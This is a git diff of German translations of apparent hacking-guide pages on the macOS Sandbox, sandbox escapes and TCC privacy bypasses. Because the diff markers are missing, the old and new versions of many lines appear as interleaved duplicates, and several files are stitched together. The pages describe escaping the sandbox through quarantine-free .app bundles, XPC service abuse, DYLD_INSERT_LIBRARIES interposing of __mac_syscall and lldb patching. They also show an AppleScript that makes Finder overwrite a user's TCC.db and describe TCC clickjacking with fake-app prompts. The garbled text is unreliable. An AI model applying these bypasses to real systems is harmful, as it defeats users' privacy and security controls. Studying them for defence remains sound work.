- **platform_policy (#1)**: Erzwingt plattformspezifische Richtlinienprüfungen (variiert zwischen macOS und iOS).
- **check_sandbox (#2)**: Führt eine manuelle Überprüfung einer spezifischen Sandbox-Operation durch.
- **check_sandbox (#2)**: Führt eine manuelle Überprüfung einer bestimmten Sandbox-Operation durch.
- **note (#3)**: Fügt eine Annotation zu einer Sandbox hinzu.
- **container (#4)**: Fügt einer Sandbox eine Annotation hinzu, typischerweise zur Fehlersuche oder Identifikation.
- **extension_issue (#5)**: Generiert eine neue Erweiterung für einen Prozess.
- **extension_consume (#6)**: Verbraucht eine gegebene Erweiterung.
- **extension_release (#7)**: Gibt den Speicher frei, der an eine verbrauchte Erweiterung gebunden ist.
- **extension_update_file (#8)**: Modifiziert Parameter einer bestehenden Dateierweiterung innerhalb der Sandbox.
- **extension_twiddle (#9)**: Passt eine bestehende Dateierweiterung an oder modifiziert sie (z.B. TextEdit, rtf, rtfd).
- **extension_update_file (#8)**: Ändert Parameter einer bestehenden Dateierweiterung innerhalb der Sandbox.
- **extension_twiddle (#9)**: Passt eine bestehende Dateierweiterung an oder ändert sie (z.B. TextEdit, rtf, rtfd).
- **suspend (#10)**: Unterbricht vorübergehend alle Sandbox-Prüfungen (erfordert entsprechende Berechtigungen).
- **unsuspend (#11)**: Setzt alle zuvor suspendierten Sandbox-Prüfungen fort.
- **passthrough_access (#12)**: Erlaubt direkten Passthrough-Zugriff auf eine Ressource, umgeht Sandbox-Prüfungen.
- **set_container_path (#13)**: (nur iOS) Setzt einen Containerpfad für eine App-Gruppe oder Signing-ID.
- **unsuspend (#11)**: Setzt alle zuvor unterbrochenen Sandbox-Prüfungen fort.
- **passthrough_access (#12)**: Erlaubt direkten Durchgangszugriff auf eine Ressource, umgeht Sandbox-Prüfungen.
- **set_container_path (#13)**: (nur iOS) Setzt einen Containerpfad für eine App-Gruppe oder eine Signatur-ID.
- **container_map (#14)**: (nur iOS) Ruft einen Containerpfad von `containermanagerd` ab.
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Setzt Benutzermetadaten im Sandbox.
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Setzt Metadaten im Benutzermodus in der Sandbox.
- **inspect (#16)**: Bietet Debug-Informationen über einen sandboxed Prozess.
- **dump (#18)**: (macOS 11) Dumpt das aktuelle Profil einer Sandbox zur Analyse.
- **vtrace (#19)**: Verfolgt Sandbox-Operationen zur Überwachung oder Fehlersuche.
@ -343,14 +344,14 @@ Der Funktionsaufruf `___sandbox_ms` umschließt `mac_syscall`, indem im ersten A
- **reference_retain_by_audit_token (#28)**: Erstellt eine Referenz für ein Audit-Token zur Verwendung in Sandbox-Prüfungen.
- **reference_release (#29)**: Gibt eine zuvor gehaltene Audit-Token-Referenz frei.
- **rootless_allows_task_for_pid (#30)**: Überprüft, ob `task_for_pid` erlaubt ist (ähnlich wie `csr`-Prüfungen).
- **rootless_whitelist_push (#31)**: (macOS) Wendet eine System Integrity Protection (SIP) Manifestdatei an.
- **rootless_whitelist_push (#31)**: (macOS) Wendet eine Manifestdatei für den Systemintegritätsschutz (SIP) an.
- **rootless_whitelist_check (preflight) (#32)**: Überprüft die SIP-Manifestdatei vor der Ausführung.
- **rootless_protected_volume (#33)**: (macOS) Wendet SIP-Schutz auf eine Festplatte oder Partition an.
- **rootless_mkdir_protected (#34)**: Wendet SIP/DataVault-Schutz auf einen Verzeichnis-Erstellungsprozess an.
## Sandbox.kext
Beachten Sie, dass in iOS die Kernel-Erweiterung **alle Profile hardcodiert** im Segment `__TEXT.__const` enthält, um zu verhindern, dass sie modifiziert werden. Die folgenden sind einige interessante Funktionen aus der Kernel-Erweiterung:
Beachten Sie, dass in iOS die Kernel-Erweiterung **alle Profile hardcodiert** im Segment `__TEXT.__const` enthält, um zu verhindern, dass sie geändert werden. Die folgenden sind einige interessante Funktionen aus der Kernel-Erweiterung:
- **`hook_policy_init`**: Es hookt `mpo_policy_init` und wird nach `mac_policy_register` aufgerufen. Es führt die meisten Initialisierungen der Sandbox durch. Es initialisiert auch SIP.
- **`hook_policy_initbsd`**: Es richtet die sysctl-Schnittstelle ein und registriert `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` und `security.mac.sandbox.debug_mode` (wenn mit `PE_i_can_has_debugger` gebootet).
@ -358,13 +359,13 @@ Beachten Sie, dass in iOS die Kernel-Erweiterung **alle Profile hardcodiert** im
### MACF Hooks
**`Sandbox.kext`** verwendet mehr als hundert Hooks über MACF. Die meisten Hooks überprüfen nur einige triviale Fälle, die es erlauben, die Aktion durchzuführen; wenn nicht, rufen sie **`cred_sb_evalutate`** mit den **Anmeldeinformationen** von MACF und einer Nummer, die der **Operation** entspricht, die durchgeführt werden soll, sowie einem **Puffer** für die Ausgabe auf.
**`Sandbox.kext`** verwendet mehr als hundert Hooks über MACF. Die meisten Hooks überprüfen nur einige triviale Fälle, die es ermöglichen, die Aktion auszuführen; andernfalls rufen sie **`cred_sb_evalutate`** mit den **Anmeldeinformationen** von MACF und einer Nummer auf, die der **Operation** entspricht, die ausgeführt werden soll, sowie einem **Puffer** für die Ausgabe.
Ein gutes Beispiel dafür ist die Funktion **`_mpo_file_check_mmap`**, die **`mmap`** hookt und die überprüft, ob der neue Speicher beschreibbar sein wird (und wenn nicht, die Ausführung erlaubt), dann überprüft, ob er für den dyld Shared Cache verwendet wird, und wenn ja, die Ausführung erlaubt, und schließlich wird **`sb_evaluate_internal`** (oder einer seiner Wrapper) aufgerufen, um weitere Erlaubnisprüfungen durchzuführen.
Ein gutes Beispiel dafür ist die Funktion **`_mpo_file_check_mmap`**, die **`mmap`** hookt und die Überprüfung startet, ob der neue Speicher beschreibbar sein wird (und wenn nicht, die Ausführung erlaubt), dann überprüft, ob er für den dyld Shared Cache verwendet wird, und wenn ja, die Ausführung erlaubt, und schließlich wird **`sb_evaluate_internal`** (oder einer seiner Wrapper) aufgerufen, um weitere Erlaubnisprüfungen durchzuführen.
Darüber hinaus gibt es unter den Hunderten von Hooks, die Sandbox verwendet, 3, die besonders interessant sind:
- `mpo_proc_check_for`: Es wendet das Profil an, wenn nötig, und wenn es nicht zuvor angewendet wurde.
- `mpo_proc_check_for`: Es wendet das Profil an, wenn nötig, und wenn es zuvor nicht angewendet wurde.
- `mpo_vnode_check_exec`: Wird aufgerufen, wenn ein Prozess die zugehörige Binärdatei lädt, dann wird eine Profilüberprüfung durchgeführt und auch eine Überprüfung, die SUID/SGID-Ausführungen verbietet.
- `mpo_cred_label_update_execve`: Dies wird aufgerufen, wenn das Label zugewiesen wird. Dies ist der längste, da es aufgerufen wird, wenn die Binärdatei vollständig geladen ist, aber noch nicht ausgeführt wurde. Es führt Aktionen wie das Erstellen des Sandbox-Objekts, das Anhängen der Sandbox-Struktur an die kauth-Anmeldeinformationen und das Entfernen des Zugriffs auf Mach-Ports durch...
@ -372,7 +373,7 @@ Beachten Sie, dass **`_cred_sb_evalutate`** ein Wrapper über **`sb_evaluate_int
## Sandboxd
Sandbox hat auch einen Benutzerdämon, der den XPC Mach-Dienst `com.apple.sandboxd` ausführt und den speziellen Port 14 (`HOST_SEATBELT_PORT`) bindet, den die Kernel-Erweiterung zur Kommunikation verwendet. Es stellt einige Funktionen über MIG zur Verfügung.
Sandbox hat auch einen Benutzerdämon, der den XPC Mach-Dienst `com.apple.sandboxd` bereitstellt und den speziellen Port 14 (`HOST_SEATBELT_PORT`) bindet, den die Kernel-Erweiterung zur Kommunikation mit ihm verwendet. Es stellt einige Funktionen über MIG bereit.
## References

View File

@ -6,9 +6,9 @@
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Bild von <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
Im vorherigen Bild ist es möglich zu beobachten, **wie der Sandbox geladen wird**, wenn eine Anwendung mit dem Recht **`com.apple.security.app-sandbox`** ausgeführt wird.
Im vorherigen Bild ist zu beobachten, **wie der Sandbox geladen wird**, wenn eine Anwendung mit dem Recht **`com.apple.security.app-sandbox`** ausgeführt wird.
Der Compiler verlinkt `/usr/lib/libSystem.B.dylib` mit der Binärdatei.
Der Compiler verknüpft `/usr/lib/libSystem.B.dylib` mit der Binärdatei.
Dann wird **`libSystem.B`** mehrere andere Funktionen aufrufen, bis die **`xpc_pipe_routine`** die Berechtigungen der App an **`securityd`** sendet. Securityd überprüft, ob der Prozess innerhalb der Sandbox quarantiniert werden soll, und wenn ja, wird er quarantiniert.\
Schließlich wird die Sandbox mit einem Aufruf von **`__sandbox_ms`** aktiviert, der **`__mac_syscall`** aufruft.
@ -17,14 +17,14 @@ Schließlich wird die Sandbox mit einem Aufruf von **`__sandbox_ms`** aktiviert,
### Umgehung des Quarantäneattributs
**Dateien, die von sandboxed Prozessen erstellt werden**, erhalten das **Quarantäneattribut**, um ein Entkommen aus der Sandbox zu verhindern. Wenn es Ihnen jedoch gelingt, **einen `.app`-Ordner ohne das Quarantäneattribut** innerhalb einer sandboxed Anwendung zu erstellen, könnten Sie die App-Bundle-Binärdatei auf **`/bin/bash`** verweisen lassen und einige Umgebungsvariablen in der **plist** hinzufügen, um **`open`** zu missbrauchen, um **die neue App unsandboxed zu starten**.
**Dateien, die von sandboxed Prozessen erstellt werden**, erhalten das **Quarantäneattribut**, um ein Entkommen aus der Sandbox zu verhindern. Wenn es Ihnen jedoch gelingt, **einen `.app`-Ordner ohne das Quarantäneattribut** innerhalb einer sandboxed Anwendung zu erstellen, könnten Sie die App-Bündel-Binärdatei auf **`/bin/bash`** verweisen lassen und einige Umgebungsvariablen in der **plist** hinzufügen, um **`open`** zu missbrauchen, um **die neue App unsandboxed zu starten**.
Das wurde in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
> [!CAUTION]
> Daher können Sie im Moment, wenn Sie nur in der Lage sind, einen Ordner mit einem Namen zu erstellen, der auf **`.app`** endet, ohne ein Quarantäneattribut, die Sandbox umgehen, da macOS nur das **Quarantäne**-Attribut im **`.app`-Ordner** und in der **Hauptausführungsdatei** überprüft (und wir werden die Hauptausführungsdatei auf **`/bin/bash`** verweisen).
> Daher können Sie im Moment, wenn Sie nur in der Lage sind, einen Ordner mit einem Namen, der auf **`.app`** endet, ohne ein Quarantäneattribut zu erstellen, die Sandbox umgehen, da macOS nur das **Quarantäne**-Attribut im **`.app`-Ordner** und in der **Hauptausführungsdatei** überprüft (und wir werden die Hauptausführungsdatei auf **`/bin/bash`** verweisen).
>
> Beachten Sie, dass, wenn ein .app-Bundle bereits autorisiert wurde, um ausgeführt zu werden (es hat ein Quarantäne-xttr mit dem autorisierten Ausführungsflag), Sie es auch missbrauchen könnten... es sei denn, Sie können jetzt nicht in **`.app`**-Bundles schreiben, es sei denn, Sie haben einige privilegierte TCC-Berechtigungen (die Sie in einer Sandbox nicht haben werden).
> Beachten Sie, dass, wenn ein .app-Bündel bereits autorisiert wurde, um ausgeführt zu werden (es hat ein Quarantäne-xttr mit dem autorisierten Ausführungsflag), Sie es auch missbrauchen könnten... es sei denn, Sie können jetzt nicht in **`.app`**-Bündel schreiben, es sei denn, Sie haben einige privilegierte TCC-Berechtigungen (die Sie in einer hochgradig sandboxed Umgebung nicht haben werden).
### Missbrauch der Open-Funktionalität
@ -53,7 +53,7 @@ Dafür benötigen Sie möglicherweise sogar **2 Schritte**: Um einen Prozess mit
### Missbrauch anderer Prozesse
Wenn Sie von dem sandboxed Prozess aus in der Lage sind, **andere Prozesse zu kompromittieren**, die in weniger restriktiven Sandboxes (oder gar keiner) laufen, werden Sie in der Lage sein, in deren Sandboxes zu entkommen:
Wenn Sie von dem sandboxed Prozess in der Lage sind, **andere Prozesse zu kompromittieren**, die in weniger restriktiven Sandboxes (oder gar keinen) laufen, werden Sie in der Lage sein, in deren Sandboxes zu entkommen:
{{#ref}}
../../../macos-proces-abuse/
@ -92,7 +92,7 @@ checkService(serviceName.UTF8String);
Diese Mach-Dienste wurden zunächst missbraucht, um [aus dem Sandbox in diesem Bericht zu entkommen](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Zu diesem Zeitpunkt waren **alle XPC-Dienste, die** von einer Anwendung und ihrem Framework benötigt wurden, im PID-Domain der App sichtbar (das sind Mach-Dienste mit `ServiceType` als `Application`).
Um einen **PID-Domain XPC-Dienst** zu kontaktieren, muss er einfach innerhalb der App mit einer Zeile wie dieser registriert werden:
Um **einen PID-Domain XPC-Dienst zu kontaktieren**, muss er einfach innerhalb der App mit einer Zeile wie folgt registriert werden:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
@ -130,7 +130,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Dieser XPC-Dienst erlaubte jedem Client, indem er immer YES zurückgab, und die Methode `createZipAtPath:hourThreshold:withReply:` erlaubte im Grunde, den Pfad zu einem Ordner anzugeben, der komprimiert werden sollte, und er komprimierte ihn in eine ZIP-Datei.
Dieser XPC-Dienst erlaubte jedem Client, indem er immer YES zurückgab, und die Methode `createZipAtPath:hourThreshold:withReply:` erlaubte im Grunde, den Pfad zu einem Ordner anzugeben, der komprimiert werden sollte, und er wird ihn in einer ZIP-Datei komprimieren.
Daher ist es möglich, eine gefälschte App-Ordnerstruktur zu erstellen, sie zu komprimieren, dann zu dekomprimieren und auszuführen, um den Sandbox zu verlassen, da die neuen Dateien nicht das Quarantäneattribut haben.
@ -208,7 +208,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
[**Diese Forschung**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) entdeckte 2 Möglichkeiten, die Sandbox zu umgehen. Da die Sandbox aus dem Userland angewendet wird, wenn die **libSystem**-Bibliothek geladen wird. Wenn ein Binary das Laden dieser Bibliothek vermeiden könnte, würde es niemals in die Sandbox gelangen:
- Wenn das Binary **vollständig statisch kompiliert** wäre, könnte es das Laden dieser Bibliothek vermeiden.
- Wenn das **Binary keine Bibliotheken laden müsste** (da der Linker ebenfalls in libSystem ist), müsste es libSystem nicht laden.
- Wenn das **Binary keine Bibliotheken laden müsste** (da der Linker auch in libSystem ist), müsste es libSystem nicht laden.
### Shellcodes
@ -236,7 +236,7 @@ Allerdings wird dieser neue Prozess natürlich keine Berechtigungen oder Privile
### Berechtigungen
Beachten Sie, dass einige **Aktionen** möglicherweise **durch den Sandbox** erlaubt sind, wenn eine Anwendung eine spezifische **Berechtigung** hat, wie zum Beispiel:
Beachten Sie, dass einige **Aktionen** möglicherweise **durch den Sandbox** erlaubt sind, wenn eine Anwendung eine spezifische **Berechtigung** hat, wie in:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -250,6 +250,7 @@ Beachten Sie, dass einige **Aktionen** möglicherweise **durch den Sandbox** erl
Für weitere Informationen über **Interposting** siehe:
{{#ref}}
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
@ -278,7 +279,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interpost `__mac_syscall`, um den Sandbox zu verhindern
#### Interpost `__mac_syscall`, um die Sandbox zu verhindern
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -322,9 +323,9 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Debuggen & Umgehen des Sandboxes mit lldb
### Debug & bypass Sandbox with lldb
Lass uns eine Anwendung kompilieren, die im Sandbox-Modus laufen sollte:
Lass uns eine Anwendung kompilieren, die sandboxed sein sollte:
{{#tabs}}
{{#tab name="sand.c"}}
@ -456,7 +457,7 @@ Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
> [!WARNING] > **Selbst wenn der Sandbox umgangen wird,** wird TCC den Benutzer fragen, ob er dem Prozess erlauben möchte, Dateien vom Desktop zu lesen.
> [!WARNING] > **Selbst mit dem umgangenem Sandbox wird TCC** den Benutzer fragen, ob er dem Prozess erlauben möchte, Dateien vom Desktop zu lesen
## References

View File

@ -6,7 +6,7 @@
**TCC (Transparenz, Zustimmung und Kontrolle)** ist ein Sicherheitsprotokoll, das sich auf die Regulierung von Anwendungsberechtigungen konzentriert. Seine Hauptaufgabe besteht darin, sensible Funktionen wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Barrierefreiheit und Vollzugriff auf die Festplatte** zu schützen. Durch die Forderung nach ausdrücklicher Zustimmung des Benutzers, bevor der Zugriff auf diese Elemente gewährt wird, verbessert TCC die Privatsphäre und die Kontrolle der Benutzer über ihre Daten.
Benutzer begegnen TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies wird durch eine Aufforderung sichtbar, die es den Benutzern ermöglicht, **Zugriff zu genehmigen oder abzulehnen**. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen, wie **das Ziehen und Ablegen von Dateien in eine Anwendung**, um den Zugriff auf bestimmte Dateien zu gewähren, und stellt sicher, dass Anwendungen nur auf das zugreifen, was ausdrücklich erlaubt ist.
Benutzer begegnen TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies wird durch eine Aufforderung sichtbar, die es den Benutzern ermöglicht, **Zugriff zu genehmigen oder abzulehnen**. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen, wie **das Ziehen und Ablegen von Dateien in eine Anwendung**, um den Zugriff auf bestimmte Dateien zu gewähren, und stellt sicher, dass Anwendungen nur auf das zugreifen können, was ausdrücklich erlaubt ist.
![Ein Beispiel für eine TCC-Aufforderung](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
@ -37,14 +37,14 @@ Die Erlaubnisse/Verweigerungen werden dann in einigen TCC-Datenbanken gespeicher
> Denken Sie jedoch daran, dass ein Prozess mit diesen hohen Berechtigungen (wie **FDA** oder **`kTCCServiceEndpointSecurityClient`**) in der Lage sein wird, die Benutzer-TCC-Datenbank zu schreiben.
- Es gibt eine **dritte** TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um anzuzeigen, welche Clients **Zugriff auf Standortdienste** haben.
- Die SIP-geschützte Datei **`/Users/carlospolop/Downloads/REG.db`** (auch vor Lesezugriff mit TCC geschützt) enthält den **Standort** aller **gültigen TCC-Datenbanken**.
- Die SIP-geschützte Datei **`/Users/carlospolop/Downloads/REG.db`** (auch vor Lesezugriff mit TCC geschützt) enthält die **Standorte** aller **gültigen TCC-Datenbanken**.
- Die SIP-geschützte Datei **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (auch vor Lesezugriff mit TCC geschützt) enthält weitere von TCC gewährte Berechtigungen.
- Die SIP-geschützte Datei **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (aber von jedem lesbar) ist eine Erlaubenliste von Anwendungen, die eine TCC-Ausnahme benötigen.
> [!TIP]
> Die TCC-Datenbank in **iOS** befindet sich in **`/private/var/mobile/Library/TCC/TCC.db`**.
> [!NOTE]
> [!TIP]
> Die **Benachrichtigungszentrale UI** kann **Änderungen in der systemweiten TCC-Datenbank** vornehmen:
>
> ```bash
@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
> [!WARNING]
> Daher können andere Anwendungen, die denselben Namen und dieselbe Bundle-ID verwenden, nicht auf die Berechtigungen zugreifen, die anderen Apps gewährt wurden.
> Daher können andere Anwendungen, die denselben Namen und dieselbe Bundle-ID verwenden, nicht auf die erteilten Berechtigungen zugreifen, die anderen Apps gewährt wurden.
### Berechtigungen & TCC-Berechtigungen
Apps **müssen nicht nur** **anfordern** und **Zugriff gewährt bekommen** auf einige Ressourcen, sie müssen auch **die relevanten Berechtigungen haben**.\
Apps **müssen nicht nur** **anfordern** und **Zugriff** auf einige Ressourcen **erhalten**, sie müssen auch **die relevanten Berechtigungen haben**.\
Zum Beispiel hat **Telegram** die Berechtigung `com.apple.security.device.camera`, um **Zugriff auf die Kamera** zu beantragen. Eine **App**, die diese **Berechtigung nicht hat**, wird **nicht in der Lage sein**, auf die Kamera zuzugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
Für Apps, um **Zugriff** auf **bestimmte Benutzerordner** zu erhalten, wie `~/Desktop`, `~/Downloads` und `~/Documents`, müssen sie **keine spezifischen Berechtigungen haben.** Das System wird den Zugriff transparent verwalten und **den Benutzer** nach Bedarf **auffordern**.
Um jedoch auf **bestimmte Benutzerordner** wie `~/Desktop`, `~/Downloads` und `~/Documents` **zuzugreifen**, müssen sie **keine spezifischen Berechtigungen haben.** Das System wird den Zugriff transparent verwalten und **den Benutzer** nach Bedarf **auffordern**.
Apples Apps **werden keine Aufforderungen generieren**. Sie enthalten **vorab gewährte Rechte** in ihrer **Berechtigungsliste**, was bedeutet, dass sie **niemals ein Popup generieren** und **auch nicht** in einer der **TCC-Datenbanken** angezeigt werden. Zum Beispiel:
Die Apps von Apple **werden keine Aufforderungen generieren**. Sie enthalten **vorab erteilte Rechte** in ihrer **Berechtigungsliste**, was bedeutet, dass sie **niemals ein Popup generieren** und **auch nicht** in einer der **TCC-Datenbanken** angezeigt werden. Zum Beispiel:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -249,12 +249,12 @@ Filename,Header,App UUID
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!NOTE]
> [!TIP]
> Es ist interessant, dass das **`com.apple.macl`** Attribut vom **Sandbox** verwaltet wird, nicht von tccd.
>
> Beachten Sie auch, dass, wenn Sie eine Datei, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer verschieben, die gleiche App unterschiedliche UIDs haben wird und somit keinen Zugriff auf diese App gewährt.
Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht werden** wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Allerdings ist es, wie [**in diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**.
Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht werden** wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Es ist jedoch möglich, es **zu deaktivieren**, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**.
## TCC Privesc & Bypasses
@ -327,7 +327,7 @@ macos-apple-events.md
Der TCC-Name der Automatisierungsberechtigung ist: **`kTCCServiceAppleEvents`**\
Diese spezifische TCC-Berechtigung zeigt auch die **Anwendung an, die innerhalb der TCC-Datenbank verwaltet werden kann** (die Berechtigungen erlauben also nicht nur die Verwaltung von allem).
**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht in der Benutzeroberfläche erscheint), sodass Sie, wenn Sie **Automatisierungs**-Berechtigungen darüber haben, diese Berechtigungen ausnutzen können, um **einige Aktionen auszuführen**.\
**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht in der UI erscheint), daher können Sie, wenn Sie **Automatisierungs**-Berechtigungen darüber haben, diese Berechtigungen ausnutzen, um **einige Aktionen auszuführen**.\
In diesem Fall benötigt Ihre App die Berechtigung **`kTCCServiceAppleEvents`** über **`com.apple.Finder`**.
{{#tabs}}
@ -365,7 +365,7 @@ Sie könnten dies missbrauchen, um **Ihre eigene Benutzer-TCC-Datenbank zu schre
>
> Daher werden Sie nicht in der Lage sein, die vollen FDA-Fähigkeiten auszunutzen.
Dies ist die TCC-Aufforderung, um Automatisierungsprivilegien über Finder zu erhalten:
Dies ist die TCC-Eingabeaufforderung, um Automatisierungsprivilegien über Finder zu erhalten:
<figure><img src="../../../../images/image (27).png" alt="" width="244"><figcaption></figcaption></figure>
@ -444,9 +444,9 @@ rm "$HOME/Desktop/file"
```
### Automation (SE) + Accessibility (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** zu FDA\*
Automatisierung auf **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tasteneingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db der Benutzer zu ändern oder FDA an eine beliebige App zu gewähren (obwohl möglicherweise ein Passwort dafür abgefragt wird).
Automation auf **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tasteneingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder einer beliebigen App FDA zu gewähren (obwohl möglicherweise ein Passwort dafür abgefragt wird).
Beispiel für das Überschreiben der TCC.db der Benutzer durch den Finder:
Beispiel für das Überschreiben der TCC.db des Benutzers durch den Finder:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -506,7 +506,7 @@ Wenn Sie **`kTCCServiceEndpointSecurityClient`** haben, haben Sie FDA. Ende.
### Benutzer TCC DB zu FDA
Durch den Erhalt von **Schreibberechtigungen** über die **Benutzer TCC**-Datenbank können Sie sich **`FDA`**-Berechtigungen nicht gewähren, nur derjenige, der in der Systemdatenbank lebt, kann das gewähren.
Durch den Erhalt von **Schreibberechtigungen** über die **Benutzer TCC**-Datenbank können Sie sich **keine** **`FDA`**-Berechtigungen gewähren, nur derjenige, der in der Systemdatenbank lebt, kann das gewähren.
Aber Sie können sich **`Automatisierungsrechte für den Finder`** geben und die vorherige Technik missbrauchen, um zu FDA\* zu eskalieren.
@ -516,9 +516,9 @@ Aber Sie können sich **`Automatisierungsrechte für den Finder`** geben und die
Ich denke nicht, dass dies ein echtes Privesc ist, aber nur für den Fall, dass Sie es nützlich finden: Wenn Sie ein Programm mit FDA kontrollieren, können Sie **die TCC-Datenbank der Benutzer ändern und sich jeden Zugriff gewähren**. Dies kann als Persistenztechnik nützlich sein, falls Sie Ihre FDA-Berechtigungen verlieren sollten.
### **SIP Bypass zu TCC Bypass**
### **SIP-Bypass zu TCC-Bypass**
Die **TCC-Datenbank** des Systems ist durch **SIP** geschützt, weshalb nur Prozesse mit den **angegebenen Berechtigungen in der Lage sind, sie zu ändern**. Daher, wenn ein Angreifer einen **SIP-Bypass** über eine **Datei** findet (in der Lage ist, eine durch SIP eingeschränkte Datei zu ändern), kann er:
Die System-**TCC-Datenbank** ist durch **SIP** geschützt, weshalb nur Prozesse mit den **angegebenen Berechtigungen in der Lage sind, sie zu ändern**. Daher, wenn ein Angreifer einen **SIP-Bypass** über eine **Datei** findet (in der Lage, eine durch SIP eingeschränkte Datei zu ändern), kann er:
- **Den Schutz** einer TCC-Datenbank entfernen und sich alle TCC-Berechtigungen gewähren. Er könnte beispielsweise eine dieser Dateien missbrauchen:
- Die TCC-Systemdatenbank
@ -556,6 +556,7 @@ AllowApplicationsList.plist:
```
### TCC Bypasses
{{#ref}}
macos-tcc-bypasses/
{{#endref}}

View File

@ -4,9 +4,9 @@
## Nach Funktionalität
### Schreibumgehung
### Schreib-Bypass
Dies ist keine Umgehung, es ist nur, wie TCC funktioniert: **Es schützt nicht vor dem Schreiben**. Wenn das Terminal **keinen Zugriff hat, um den Desktop eines Benutzers zu lesen, kann es trotzdem darauf schreiben**:
Dies ist kein Bypass, es ist nur, wie TCC funktioniert: **Es schützt nicht vor dem Schreiben**. Wenn das Terminal **keinen Zugriff auf das Lesen des Desktops eines Benutzers hat, kann es trotzdem darauf schreiben**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -16,7 +16,7 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
Die **erweiterte Attribut `com.apple.macl`** wird der neuen **Datei** hinzugefügt, um der **erstellenden App** den Zugriff auf das Lesen zu gewähren.
Die **erweiterte Attribut `com.apple.macl`** wird der neuen **Datei** hinzugefügt, um der **erstellenden App** den Zugriff auf das Lesen zu ermöglichen.
### TCC ClickJacking
@ -26,8 +26,8 @@ Es ist möglich, ein **Fenster über die TCC-Aufforderung** zu legen, um den Ben
### TCC-Anfrage mit beliebigem Namen
Angreifer können **Apps mit beliebigem Namen** (z.B. Finder, Google Chrome...) in der **`Info.plist`** erstellen und den Zugriff auf einen TCC-geschützten Ort anfordern. Der Benutzer wird denken, dass die legitime Anwendung diejenige ist, die diesen Zugriff anfordert.\
Darüber hinaus ist es möglich, die legitime App vom Dock zu entfernen und die gefälschte darauf zu setzen, sodass, wenn der Benutzer auf die gefälschte klickt (die dasselbe Symbol verwenden kann), sie die legitime aufrufen, um TCC-Berechtigungen zu beantragen und Malware auszuführen, wodurch der Benutzer glaubt, die legitime App habe den Zugriff angefordert.
Angreifer können **Apps mit beliebigen Namen** (z. B. Finder, Google Chrome...) in der **`Info.plist`** erstellen und den Zugriff auf einen TCC-geschützten Ort anfordern. Der Benutzer wird denken, dass die legitime Anwendung diejenige ist, die diesen Zugriff anfordert.\
